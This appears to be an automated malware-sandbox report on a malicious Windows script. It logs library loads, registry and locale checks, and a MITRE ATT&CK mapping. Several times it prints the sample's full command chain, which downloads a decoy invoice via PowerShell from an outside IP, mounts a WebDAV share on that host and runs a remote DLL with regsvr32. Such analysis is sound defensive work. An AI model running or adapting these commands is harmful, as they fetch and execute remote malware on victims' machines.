Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\523.js.csv");ITextStream.WriteLine(" entry:8193 f:gjhrdjz");ITextStream.WriteLine(" exec:2 f:gjhrdjz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4386			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5509			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3480	Thread sleep count: 4386 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3480	Thread sleep count: 5509 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2296	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1892	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6756	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2099589475.000002283DAD7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2099589475.000002283DA78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3333423442.000001A137E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3334568040.000001A13D65E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
